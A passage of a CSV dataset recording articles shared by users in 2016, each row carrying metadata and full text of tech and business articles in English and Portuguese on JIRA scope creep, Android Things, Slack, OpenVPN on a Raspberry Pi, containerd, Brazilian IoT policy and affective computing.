people). Bruce calls this ""playing with the levers"". They play until they find the right balance or a good compromise. When scope creep happens, it's important to have all options on the table so you can make data-driven decisions. 3. How to re-organize your workload based on scope creep Ok: the scope change has been identified, and you understand where it came from. But now decisions need to be made. Do you accept the scope changes and release later? Get more resources? Shave off some initial requirements? What's a team to do?! The JIRA Software team uses the Epic Burndown and Release Burndown charts , accessed in the reports view on the sidebar, to look at the bigger picture of a project to manage scope creep. An Epic Burndown chart shows the team's progress towards finishing an epic, broken down by sprints. It also shows a work forecast of how many sprints remain before the epic will be complete. Most importantly in the context of scope creep, this chart highlights when work is added and how much (a Release Burndown chart highlights the same information, but at the release level). A team might have had the best intentions to finish an epic in 10 sprints, but after six sprints, the Epic Burndown shows that the remaining workload is another six sprints. Unlike the JIRA Agile team, the Fusion team relies less on burndown charts and more on what-if scenario planning using Portfolio for JIRA, because ""war-gaming it"" gives full visibility into the potential options and impacts of scope change. Even though Portfolio for JIRA's what-if scenarios and JIRA Software's burndown charts give stakeholders the data points to empower teams to make decisions, it's up to the team to take action and make tough (oh-so-tough!) decisions. Based on lean agile principles, a team might agree that they want to get their latest feature out as soon as possible, so a new minimal viable product (MVP) is agreed upon. This way, the new feature is in the hands of customers faster than if the team added more sprints to that epic. A trade-off like this means that the feature, or release, will not be what the team thought they were going to deliver at the beginning of a project. And that's ok. Adjusting mindfully is what agile is all about. Once a decision has been made, a team lead like Bruce can re-order the backlog (stories, epics or initiatives) in Portfolio for JIRA or JIRA Software. In the case of Portfolio for JIRA, the new backlog will automatically update the roadmap based on the new release times. Using real-time data is what makes re-organizing the workload achievable instead of death sentence for your weekend. 4. How to communicate the effects of scope creep Keeping everyone in the loop once decisions have been made is the final step when dealing with scope creep. Adding scope can hurt a team's morale, because on paper it might look like the team did not get accomplish what they set out to do. It's important for the entire team to understand why scope was added and what implications it has on the future of a sprint, epic, release, and project. For the JIRA Software team, conversations around adding scope happen between the team lead and product manager, while Michael, the development manager, keeps a close eye on work in progress through reports. Scope creep is also a large topic of conversation during the JIRA Software team's retrospective meeting. These meetings get everyone in a room to understand decisions made, or the new game plan if there is one, and what to expect in the next sprint. Everyone on the JIRA Software team is made aware of scope change as early and often as possible. Bruce finds that using Portfolio for JIRA makes communicating the affects of scope change quite liberating as the estimates are data-based and not a back-of-the-napkin calculation. As he knows all of the available options in Portfolio for JIRA, it's a great way to communicate openly with stakeholders. Also, the Fusion roadmap is accessible to the whole team, so everyone can stay on the same page when it comes to deliverables and release dates. Scope creep is inevitable and dealing with it is necessary. If this post has inspired some ideas for dealing with scope creep in your projects, please share it on your social network of choice - your fellow JIRA users around the world will thank you �� Curious about Portfolio for JIRA? As you've seen, it's become an indispensable tool for us in managing scope creep (not to mention staffing allocations, roadmapping, etc). Check out the tour , then give it a try. We hope it's as useful to your team as it is to ours!",en
1481643785,CONTENT SHARED,-1259410223376598430,-1352064057049251194,-2402721348093965656,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://sbvc.com.br/ranking-50-maiores-empresas-do-e-commerce-brasileiro-2016/,Ranking 50 Maiores Empresas do E-commerce Brasileiro/2016,"Home "" Estudos "" Ranking 50 Maiores Empresas do E-commerce Brasileiro/2016 A Sociedade Brasileira de Varejo e Consumo disponibiliza o Ranking 50 Maiores Empresas do E-commerce Brasileiro/2016 . Neste estudo você vai encontrar: . Números do comércio eletrônico no Brasil; . Faturamento das 50 Maiores Empresas de E-commerce do Brasil; . Análises do segmento; . Estrutura de capital e tamanho das empresas; . Ano de início das atividades de cada empresa no e-commerce brasileiro.",pt
1481650071,CONTENT SHARED,-7215110246375999491,-1836083230511905974,-8546500079110937668,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",MG,BR,HTML,https://android-developers.blogspot.com.br/2016/12/announcing-googles-new-internet-of-things-platform-with-weave-and-android-things.html,Announcing updates to Google's Internet of Things platform: Android Things and Weave,"Posted by Wayne Piekarski , Developer Advocate for IoT The Internet of Things (IoT) will bring computing to a whole new range of devices. Today we're announcing two important updates to our IoT developer platform to make it faster and easier for you to create these smart, connected products. We're releasing a Developer Preview of Android Things, a comprehensive way to build IoT products with the power of Android, one of the world's most supported operating systems. Now any Android developer can quickly build a smart device using Android APIs and Google services, while staying highly secure with updates direct from Google. We incorporated the feedback from Project Brillo to include familiar tools such as Android Studio, the Android Software Development Kit (SDK), Google Play Services, and Google Cloud Platform. And in the coming months, we will provide Developer Preview updates to bring you the infrastructure for securely pushing regular OS patches, security fixes, and your own updates, as well as built-in Weave connectivity and more. There are several turnkey hardware solutions available for you to get started building real products with Android Things today, including Intel Edison, NXP Pico, and Raspberry Pi 3. You can easily scale to large production runs with custom designs of these solutions, while continuing to use the same Board Support Package (BSP) from Google. We are also updating the Weave platform to make it easier for all types of devices to connect to the cloud and interact with services like the Google Assistant. Device makers like Philips Hue and Samsung SmartThings already use Weave, and several others like Belkin WeMo, LiFX, Honeywell, Wink, TP-Link, and First Alert are implementing it. Weave provides all the cloud infrastructure, so that developers can focus on building their products without investing in cloud services. Weave also includes a Device SDK for supported microcontrollers and a management console. The Weave Device SDK currently supports schemas for light bulbs, smart plugs and switches, and thermostats. In the coming months we will be adding support for additional device types, custom schemas/traits, and a mobile application API for Android and iOS. Finally, we're also working towards merging Weave and Nest Weave to enable all classes of devices to connect with each other in a secure and reliable way. So whether you started with Google Weave or Nest Weave, there is a path forward in the ecosystem. This is just the beginning of the IoT ecosystem we want to build with you. To get started, check out Google's IoT developer site , or go directly to the Android Things , Weave ,and Google Cloud Platform sites for documentation and code samples. You can also join Google's IoT Developers Community on Google+ to get the latest updates and share and discuss ideas with other developers.",en
1481652506,CONTENT SHARED,-8286289711960957081,3609194402293569455,5472228981666337194,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/12/13/slack-swips-at-skype-with-video-calls-and-reaction-emoji/,Slack swips at Skype with video calls and reaction emoji,"Slack, the workplace collaboration platform with 1.25 million users , is adding one more key feature to its artillery of tools for people to communicate with each other, and it's one that could help it pick up even more users away from other services like Skype and gmail: it's adding video calling , the audiovisual complement to the video chat services that it released earlier this year. Group video calls can handle up to 15 people currently, Slack says, if you are on a paid tier. Slack says the video calling feature, which will be available first on Slack for Mac and Windows on desktop and Google Chrome, in the next few days. Those on mobile will be able to join video calls but will experience them as audio only. The service will work similar to its existing voice calling feature that it added earlier this year , allowing users to turn on their cameras to each as well as hear each other. But it will also feature something else that is a twist on the many other video services out there today: emojis. A lot of people who use video and audio conferencing for calls with work colleagues will turn on the mute button so that their random coughs and sighs or other ambient noise will not interrupt the soliloquies of their coworkers. Now if they want to make quick responses to things they won't have to fumble around for the unmute button: instead they can offer a thumbs up, or a fist bump or a dancing banana, or whatever is right for the moment. We'd heard back in March that the company was going to be launching video chat at some point this year, and here it finally is. It's not clear if it's been built on the tech that Slack picked up in 2015, when it acquired YC company Screenhero , which had built a very light way for people to use video chat and share their screens with each other. (We've asked and will update as we learn more.) In any case, Slack says that by building its own video chat service, it's not planning at this point to remove the ability to use other services. Slack - built on the idea of integrating hundreds of other apps and services into its bigger platform with the simple use of slash commands - also works with services like Google Hangouts and Zoom and you can still set these as your default if you prefer them to Slack's native experience.",en
1481665742,CONTENT SHARED,-2373876979584952849,3609194402293569455,5472228981666337194,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,http://blog.lambda3.com.br/2016/12/openvpn-rodando-com-docker-no-raspberry-pi/,OpenVpn rodando com Docker no Raspberry Pi,"Minha rede em casa tem vários componentes interessantes. Tenho um NAS que mantém vários arquivos pessoais, tenho 3 Raspberry Pis que fazem diversas coisas diferentes (um Raspberry Pi 1, um 2, e outro do mais recente, o 3 - fui comprando conforme saiam). Tenho um Receiver da Yamaha que tem um browser embutido. Entre diversos outros devices. Mas, toda vez que estava fora de casa, não conseguia acessar nada. Resolvi que tinha que montar uma VPN. O problema de montar uma VPN é que você precisa de um servidor. E servidores são caros, eles tem que ficar ligados o tempo todo, e qualquer máquina vai demandar muita energia. A não ser que ela rode ARM e esteja num chip super enxuto, que é exatamente o que um Rasperry Pi faz. E eu já tenho 3 ligados. Bora usar um deles. Fui pesquisar o que utilizar na VPN e descobri que o OpenVpn é um software livre (GPL) e interessante. Mas não é simples de instalar. Procurei os manuais de instalação e outros artigos, e ele tem diversas dependências. Colocar ele em um dos meus Pis seria um problema, não queria ter que lidar com os diversos problemas de dependências entre os diversos componentes que já rodam neles, e não quero aumentar a superfície de ataque. Felizmente, um desses Pis já está rodando Docker, porque no passado eu já quis rodar uma app em Python, e já tinha tido o mesmo pensamento de manter tudo mais simples, seguro e fácil de instalar e recuperar. Tudo é mais fácil com Docker. Estou usando a implementação do pessoal da Hypriot pra Docker , que funciona super bem. Eu só precisava agora achar uma forma de rodar o OpenVpn. Achei o repo do Kyle Manna ( kylemanna/docker-openvpn ) que encapsula o OpenVpn em um contêiner Docker. Você acha a imagem do que ele construiu no Docker Hub em kylemanna/openvpn . É um trabalho muito bem feito, e poderia ser a base do que eu queria fazer. Forkei o projeto e fiz algumas alterações, e tudo simplesmente funcinou. A principal alteração foi substituir a base da imagem. Ele tornou isso muito fácil, já que usa Alpine Linux (um Linux muito pequeno), e o pessoal do Hypriot também tem uma imagem de Alpine pra rodar em ARM no Docker Hub chamada hypriot/rpi-alpine-scratch . Você vê o commit onde troco a imagem de base no Github . Além disso, eu fiz outras pequenas alterações. Por exemplo, não exigindo uma senha na criação das chaves do servidor, acrescentando no Readme o teste que fiz num cliente de Windows, e removendo os testes do Travis, que não suporta ARM. Você pode ver todas elas no compare do Github aqui . A maior parte das instruções está no Readme do projeto. O resultado foi parar no Docker Hub, em giggio/openvpn-arm . Aqui você vê ele rodando no meu Pi (clique para ampliar): O resultado foi muito satisfatório. Encaminhei a porta 1194 do meu firewall para o Pi, e tudo simplesmente funcionou. O meu firewall, pra ajudar, suporta um DNS dinâmico, então consigo achar a vpn usando um nome, em vez de IP, que muda toda hora e é impossível de lembrar. Pra configurar tudo, bastou seguir as instruções que o próprio Kyle já tinha criado no Readme do projeto. O OpenVpn tem clientes para Windows, Linux e Mac, e também pra Android. Testei no Windows e no Android, e tudo rodou perfeitamente. Consigo acessar todos os serviços que tenho em casa. Quem disse que montar uma VPN é difícil? Com Docker, não é.",pt
1481666562,CONTENT SHARED,6569463984699537820,3609194402293569455,5472228981666337194,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,https://googlediscovery.com/2016/12/13/google-anuncia-android-things-plataforma-para-internet-das-coisas/,"Google anuncia Android Things, plataforma para a Internet das Coisas | Google Discovery","O Google anunciou hoje o Android Things , sua nova plataforma baseada no Android que vem sendo desenvolvida para trabalhar com dispositivos conectados à internet (aka ""Internet das Coisas""). Além de contar com APIs do Android e serviços do próprio Google, Android Things utiliza grande parte dos esforços do Projeto Brillo , e as ferramentas de desenvolvedor do Android, como o Android Studio, Android SDK, Google Play Services e serviços de computação em nuvem do Google. ""Agora qualquer desenvolvedor Android pode rapidamente construir um dispositivo inteligente usando APIs do Android e serviços do Google, enquanto permanece altamente seguro com as atualizações direto do Google"", publicou o buscador. A gigante de Mountain View também anunciou um update da plataforma Weave que permite aos dispositivos se conectarem à nuvem e interagir com serviços como o Google Assistant. ""Fabricantes de aparelhos como a Philips Hue e Samsung SmartThings já usam Weave, e vários outros como Belkin Wemo, LiFX, Honeywell, Wink, TP-Link e First Alert estão implementando a tecnologia"". publicou Wayne Piekarski , Developer Advocate.",pt
1481669348,CONTENT SHARED,18738895644634365,3609194402293569455,5472228981666337194,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,http://www.b9.com.br/68816/social-media/bot-do-facebook-messenger-simula-entrevista-para-o-processo-de-3/,"Bot do Facebook Messenger simula entrevista para o processo de ""3%""","A série brasileira original Netflix ""3%"" , vem causando divergências entre os espectadores, recebendo inúmeras críticas negativas, assim como positivas - veja a nossa aqui . Para quem não viu ainda, o plot central da série gira em torno de um processo que seleciona 3% dos candidatos a migrar do Continente ao Maralto, num mundo pós-apocalíptico. Para mostrar como o processo seria com usuários do mundo atual, a Netflix criou um bot no Messenger da página da série . Você pode ver uma introdução em vídeo acima. O bot inclui diversas perguntas, algumas com respostas múltipla escolha, outras dissertativas. E se você interromper, ele reage como se fosse um entrevistador de verdade. Para simular sua entrevista, basta acessar a página da série que redireciona direto ao chat da entrevista e iniciar o bot. Dica: é bem difícil passar.",pt
1481676932,CONTENT SHARED,8526042588044002101,-8020832670974472349,-265133471069694993,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://blog.heptio.com/cloud-native-part-1-definition-716ed30e9193?gi=538b4f90355f,Cloud Native Part 1: Definition,"As Craig and I start our journey toward building Heptio , we have been doing a lot of thinking around where we see the industry going. We spent quite a bit of time at Google (16 years between the two of us) and have a good understanding how Google builds and manages systems. But chances are you don't work at Google. So how do all of these evolving new concepts apply a typical company/developer/operator? This is the first part in a multi-part series that examines multiple angles of how to think about and apply ""cloud native"" thinking. You can jump to Part 2 or Part 3 . There is no hard and fast definition for what Cloud Native means. In fact there are other overlapping terms and ideologies. At its root, Cloud Native is structuring teams, culture and technology to utilize automation and architectures to manage complexity and unlock velocity . Operating in this mode is as much a way to scale the people side of the equation as much as the technology side. Cloud Native is structuring teams, culture and technology to utilize automation and architectures to manage complexity and unlock velocity. One important note: you don't have to run in the cloud to be ""Cloud Native"" . These techniques can be applied incrementally as appropriate and should help smooth any transition to the cloud. The real value from Cloud Native goes far beyond the basket of technologies that are closely associated with it. To really understand where our industry is going, we need to examine where and how we can make companies, teams and people more successful. At this point, these techniques have been proven at technology centric forward looking companies that have dedicated large amounts of resources to the effort. Think Google or Netflix or Facebook. Smaller, more flexible, companies are also realizing value here. However, there are very few examples of this philosophy being applied outside of technology early adopters. We are still at the beginning of this journey when viewed across the wider IT world. We are still at the beginning of this journey. With some of the early experiences being proven out and shared, what themes are emerging? More efficient and happier teams. Cloud Native tooling allows for big problems to be broken down into smaller pieces for more focused and nimble teams. Drudgery is reduced through automating much of the manual work that causes operations pain and downtime. This takes the form of self healing and self managing infrastructure. Expect systems to do more. More reliable infrastructure and applications. Building automation to handle expected churn often results in better failure modes for unexpected events and failures. Example: if it is a single command or button click to deploy an application for development, testing or production it can be much easier to automate deployment in a disaster recovery scenario (either automatically or manually). Auditable, Visible and Debuggable. Complex applications can be very opaque. The tools used for Cloud Native applications, by necessity, usually provide much more insight into what is happening within an application. Deep Security. Many IT systems today have a hard outer shell and a soft gooey center. Modern systems should be secure and least trust by default. Cloud Native enables application developers to play an active role in creating securable applications. More efficient usage of resources. Automated ""cloud like"" ways of deploying and managing applications and services opens up opportunities to apply algorithmic automation. For instance, a cluster scheduler/orchestrator can automate placement of work on machines vs. having an ops team manage a similar assignment in a spreadsheet. At Heptio, we are incredibly excited to help bring the benefits of Cloud Native to the wider IT industry. In the rest of this series we'll be looking at integrating with existing systems, DevOps, containers and orchestration, microservices, and security. Please stay tuned and let us know what is most interesting to you. Continue with part 2 as I cover practical considerations of applying Cloud Native.",en
1481727776,CONTENT SHARED,4744297321841608877,-8020832670974472349,-265133471069694993,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://blog.docker.com/2016/12/introducing-containerd/,containerd - a core container runtime project for the industry - Docker Blog,"Today Docker is spinning out its core container runtime functionality into a standalone component, incorporating it into a separate project called containerd , and will be donating it to a neutral foundation early next year. This is the latest chapter in a multi-year effort to break up the Docker platform into a more modular architecture of loosely coupled components. Over the past 3 years, as Docker adoption skyrocketed, it grew into a complete platform to build, ship and run distributed applications, covering many functional areas from infrastructure to orchestration, the core container runtime being just a piece of it. For millions of developers and IT pros, a complete platform is exactly what they need. But many platform builders and operators are looking for ""boring infrastructure"": a basic component that provides the robust primitives for running containers on their system, bundled in a stable interface, and nothing else. A component that they can customize, extend and swap out as needed, without unnecessary abstraction getting in their way. containerd is built to provide exactly that. What Docker does best is provide developers and operators with great tools which make them more productive. Those tools come from integrating many different components into a cohesive whole. Most of those components are invented by others - but along the way we find ourselves developing some of those components from scratch. Over time we spin out these components as independent projects which anyone can reuse and contribute back to. containerd is the latest of those components. containerd is already deployed on millions of machines since April 2016 when it was included in Docker 1.11 . Today we are announcing a roadmap to extend containerd, with input from the largest cloud providers, Alibaba Cloud, AWS, Google, IBM, Microsoft, and other active members of the container ecosystem. We will add more Docker Engine functionality to containerd so that containerd 1.0 will provide all the core primitives you need to manage containers with parity on Linux and Windows hosts: Container execution and supervision Image distribution Network Interfaces Management Local storage Native plumbing level API Full OCI support, including the extended OCI image specification When containerd 1.0 implements that scope, in Q2 2017, Docker and other leading container systems, from AWS ECS to Microsoft ACS, Kubernetes, Mesos or Cloud Foundry will be able to use it as their core container runtime. containerd will use the OCI standard and be fully OCI compliant. Over the past 3 years, the adoption of containers with Docker has triggered an unprecedented wave of innovation in our industry. We think containerd will unlock a whole new phase of innovation and growth across the entire container ecosystem, which in turn will benefit every Docker developer and customer. You can find up-to-date roadmap , architecture and API definitions in the G ithub repo sitory , and more details about the project in our engineering team's blog post . We plan to have a summit at the end of February to bring in more contributors, stay tuned for more details about that in the next few weeks. Thank you to Arnaud Porterie , Michael Crosby , Mickaël Laventure , Stephen Day , Patrick Chanezon and Mike Goelzer from the Docker team, and all the maintainers and contributors of the Docker project for making this project a reality. container image distribution , container runtime , containerd , OCI image specification , OCI support , runc",en
1481732852,CONTENT SHARED,2834072258350675251,5707382540067831352,-4099507571042843816,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://convergecom.com.br/teletime/22/11/2016/plano-nacional-de-iot-chega-em-marco-com-parceria-entre-mctic-e-bndes/,Plano Nacional de IoT chega em março com parceria entre MCTIC e BNDES,"O Plano Nacional de Internet das Coisas (IoT) ainda está sendo desenhado, mas a expectativa é de que a consulta enfim saia em março do ano que vem. Até lá, paralelamente, um estudo que está sendo realizado pelo BNDES deverá ser apresentado em dezembro. A ideia é que estabelecer uma parceria entre o banco de fomento e o ministério, servindo como base para que o projeto foque não apenas nas verticais mais importantes para a IoT no País, mas também nas horizontais. Junto desse levantamento, consultas públicas seriam implantadas. Até dezembro, a consulta pública voltada ao diagnóstico será implantada para colher questões para subsidiar tanto o plano nacional quanto o estudo do BNDES, segundo explica o gerente setorial de indústrias TIC do Banco, Ricardo Rivera, durante sessão no Painel Telebrasil que aconteceu nesta terça-feira, 22. Em março e abril haveria uma segunda consulta, com a definição das verticais, para endereçar medidas e propostas. O plano de ação, com base nas informações levantadas na pesquisa e nas consultas, seria entregue finalmente em agosto de 2017. O cronograma do estudo desenvolvido pelo BNDES em parceria com o MCTIC deverá ser incorporado ao Plano Nacional de IoT (PNIoT) para construir uma agenda de médio e longo prazo. Essa aliança entre o banco e o ministério será celebrada ainda este ano. A partir daí, na primeira fase, com diagnóstico e aspiração, poderá ir até fevereiro ou março do ano que vem. A segunda, tratando da seleção de três a cinco verticais, além de horizontais, será entre março e abril; a terceira para aprofundamento, visão e plano de ação quinquenal entre 2017 e 2022, será entre maio e agosto; e por fim, a fase final será de suporte à implementação do Plano, compreendendo período de seis meses, entre setembro de 2017 e janeiro de 2018. ""É uma novidade a gente reservar budget para implantar o plano de ação"", destaca Rivera, citando ainda cooperação com o escritório de advocacia especializado em direitos digitais, o Pereira Neto Advogados. O diretor de Indústria, Ciência e Tecnologia do Ministério da Ciência, Tecnologia, Inovações e Comunicações (MCTIC), José Gontijo, explica que tem feito conferências constantes com o BNDES para estabelecer as diretrizes, com novos modelos e serviços, interoperabilidade, capacitação de profissionais, centros de referência, desenvolvimento científico e tecnológico, privacidade e segurança de dados, expansão da infraestrutura de telecomunicações. Ele propõe, por exemplo, foco em setores como a agricultura de precisão e a logística de alimentos. ""A gente tem que ter em mente que centros de referência possam olhar caso concreto, analisar e ser remunerado por isso, eles têm que ter o DNA de negócios"", declara, citando o modelo do centro de pesquisas alemão Instituto Fraunhofer-Gesellschaft, que é voltado também à rentabilidade. O diretor da Abinee (e diretor de relações governamentais da Qualcomm) Francisco Giacomini, explica que a associação tem trabalhado junto com a câmara de IoT (antiga câmara de M2M) do MCTIC para dar prioridade às ações do governo que deverão ser fundamentais para o desenvolvimento do setor. Para ele, qualquer modelo de IoT precisará lidar com a questão, uma vez que o fluxo de receita será maior em serviços com tratamentos de dados. Giacomini critica, contudo, o aspecto da privacidade de dados no decreto que regulamentou o Marco Civil da Internet em abril, que ele diz ser ""muito aberto, sem dar flexibilidade"". Segundo o diretor, a Abinee conversa com deputados e senadores sobre os projetos de lei tramitando no Congresso, especialmente na separação entre dados pessoais sensíveis. Na visão de José Gontijo, do MCTIC, ""o grosso do dinheiro está no analytics da informação e como fazemos que o setor possa se beneficiar disso"". Mas, para tanto, os dados teriam que ser anônimos. Outros pontos citados no painel foram a identificação de HUBs com redes de referência, a renovação da Resolução 242 da Anatel para a certificação de produtos ficar mais ágil para o grande volume de dispositivos de IoT, incluindo a adoção de certificações internacionais. Nessa última questão, José Gontijo explica que há uma necessidade de se adequar a questões específicas do País, não apenas da propagação eletromagnética, mas também com os moldes de zonas tropicais estabelecidos pela UIT. ""Eu entendo que a gente precisa pensar em revolução da resolução da Anatel para que seja mais célere, mas não pode simplesmente aceitar o que vem de fora."" Na estimativa de um estudo desenvolvido pela Consultoria Tendências, Teleco e com patrocínio da Frebratel, a IoT deverá ter entre 100 a 200 milhões de objetos conectados em 2025, ""conforme a eliminação de barreiras"", segundo o presidente da Teleco, Eduardo Tude. Em questão de investimentos na indústria, em 15 anos será entre R$ 130 bilhões e R$ 206 bilhões. A IoT deve gerar crescimento de produtividade de cerca de 2% ao longo da próxima década, adicionando R$ 122 bilhões ao PIB brasileiro até 2025. Serão criados 1,9 milhões de novos postos de trabalho diretos e indiretos no mesmo prazo.",pt
1481735462,CONTENT SHARED,2282385028752844581,3609194402293569455,-390041621245303564,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.digitaltrends.com/cool-tech/nexd1-3d-printer-kickstarter/,Kickstarter 3D printer will print circuit boards as part of your designs,"When people talk about home hack projects that can be put together in a workshop, a lot depends on just what kind of workshop you're talking about. It's one thing if your dream is to put together a basic 3D-printed object that could be created with limited space and resources; it's another entirely if you're planning to design and print your own 3D-printed gadgets from the ground up. That's where Berlin-based startup Next Dynamics' new NexD1 3D printer - currently on Kickstarter - comes into play. Promising to act as a multi-material and electronics 3D printer in one, it's an intriguing technology that hopes to be your one-stop shop for all your home tech prototyping needs. Best of all? It's small (and, dare we say, stylish) enough to sit on your desk. ""Originally we were going to build a PCB (printed circuit board) printer, but somewhere along the way we realized we could do so much more than that,"" Ben Hartkopp, a member of the Next Dynamics team, told Digital Trends. ""That's how we arrived at the idea of building a multi-material printer that is also capable of printing circuit boards and electronics."" The NexD1 can print six materials at once and combine these for limitless characteristics - including conductivity, transparency, flexibility, strength, temperature resistance, color, and more. It isn't a filament-based printer, but rather employs a polyjet-style printing system with a resin-laying print head reminiscent of an inkjet printer. On top of that, it can also print fully-functional low-resistance circuits, which can then be incorporated into your electronic designs at a precision of 10 microns. More: Desktop pick-and-place machine will create your own printed circuit boards The project is currently raising funds on Kickstarter , where it launched earlier today, and it has already racked up more than half its 200,000-euro ($213,000) target. Of course, any crowdfunded 3D printer carries a degree of risk - not least because users are being asked to part with a decent amount of money. However, this looks very impressive and if it works as advertised, we're in for a treat when it starts shipping in September 2017. You can pre-order your unit from the Kickstarter campaign link above, with prices starting from around $3,000. ""The idea with this technology is to make it affordable and accessible to everyone,"" Hartkopp continued. ""If you look at the nearest comparable models in terms of functionality, they're in the $100,000-plus price range. We thought that it should be possible to develop a printer in such a way that it would be much more affordable, while retaining the high quality of industrial printers. This is really for anyone who's got a dream about some gadget they'd love to make. If you want to build these devices and iterate really fast, all of that's possible with our machine."" As The X-Files ' Fox Mulder once said, ""I want to believe...""",en
1481740898,CONTENT SHARED,8289800212949675494,-8241940599580729220,-4005961876543065182,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",MG,BR,HTML,http://making.duolingo.com/which-countries-study-which-languages-and-what-can-we-learn-from-it,"Which countries study which languages, and what can we learn from it? | Making Duolingo Blog","To find out which languages are the most popular around the globe, we looked at the daily activity of Duolingo users over a period of three months. The data covers all 194 countries. Figures 1 shows the most popular language studied on Duolingo in every country, and Figure 2 shows the second most popular language.",en
1481740935,CONTENT REMOVED,8289800212949675494,-8241940599580729220,-4005961876543065182,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",MG,BR,HTML,http://making.duolingo.com/which-countries-study-which-languages-and-what-can-we-learn-from-it,"Which countries study which languages, and what can we learn from it? | Making Duolingo Blog","To find out which languages are the most popular around the globe, we looked at the daily activity of Duolingo users over a period of three months. The data covers all 194 countries. Figures 1 shows the most popular language studied on Duolingo in every country, and Figure 2 shows the second most popular language.",en
1481770123,CONTENT SHARED,6765368095966422513,-2465847828331443343,1982908366630431372,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",MG,BR,HTML,http://www.forbes.com/sites/bernardmarr/2016/05/13/what-is-affective-computing-and-how-could-emotional-machines-change-our-lives/,What is Affective Computing And How Could Emotional Machines Change Our Lives?,"12,923 Views How would your computer respond if you looked frustrated or upset? Could your phone comfort you if you were sad after getting a call? Could your smart home adjust the music, lighting, or other aspects of the environment around you after you've had a bad day at work - without being asked? It may seem far-fetched, but computers that can read your emotions and have some level of ""emotional intelligence"" are not far off. The field is called affective computing, and it's being developed for use in many applications. Affective computing is not a new field but one that is becoming more relevant today, especially if you combine them with big data, robotics and machine learning. Why do we want a computer to empathize with us? Emotions are a fundamental part of the human experience - but they've long been ignored by technology development because they seemed difficult to quantify and because the technology didn't really exist to read them. This has resulted in sometimes frustrating user experiences. If you've ever gotten angry at the ""helpful"" wizards in a computer help program, you know what I'm talking about. Programs are being developed that can use facial expressions and micro-expressions, posture, gestures, tone of voice, speech and even the rhythm or force of keystrokes as well as the temperature of your hands to register changes in a user's emotional state. Cameras and other sensors send the input data to deep learning algorithms that determine what your emotional state might be - and then react accordingly. And the applications of these tools are practically limitless. E-learning programs could automatically detect when the learner was having difficulty and offer additional explanations or information. E-therapy could help deliver psychological health services online and be as effective as in-person counseling. Companies including the BBC, CBS , Coca-Cola and Disney are already partnering with a leading company in recognizing facial expressions, Affectiva , to test the effectiveness of advertisements, and how viewers react to film trailers and TV shows. The company is now working with ""a very large Japanese car company"" to create in-car technology that can sense when you're drowsy or distracted, and can contact emergency services or a friend or family member in an emergency situation. Microsoft even recently tested a bra that can sense stress levels and warn women not to overeat! Other applications are being created to help people on the Autism spectrum interact with others. People with Autism typically have difficulty recognizing the emotions of others, and small, wearable devices can help alert them to another person's emotions to help them react and interact in social situations. Another medical device can alert the wearer to changes in their biometric data (heart rate, temperature, etc.) in the moments before, during, and after a dangerous epileptic seizure. Additional labs are working on devices that can sense everything from pain to depression - which can be difficult to accurately diagnose. The idea is that it would replace the subjective ""pain scale"" that asks patients to rate their own pain level from 1-10 (and obviously offering problems when one person's 5 is another person's 8), and even programs that could monitor movements associated with chronic pain and provide suggestions for physiotherapy to relieve it. The age of emotional machines is coming Just as ""artificial intelligence"" isn't the same as human intelligence (computers ""think"" in fundamentally different ways than the human brain), so to ""emotional"" machines won't really be emotional. But by combining affective computing with machine learning, big data, and robotics, you're on the edge of a time when machines will at least seem to respond to us with sympathy and other emotional responses. Your refrigerator might suggest you skip the ice cream tonight because your stress levels are high. Your car might warn you to drive carefully because you seem tense. Your phone might encourage you to take breaks because you're getting frustrated. Robots already exist that can recognize the faces of different family members and respond accordingly. Soon they will be able to recognize your emotions as well and offer helpful suggestions. And the age of the ""emotional"" computer will be upon us. Bernard Marr is a best-selling author & keynote speaker. His newbook:' Big Data in Practice: How 45 Successful Companies Used Big Data Analytics to Deliver Extraordinary Results '",en
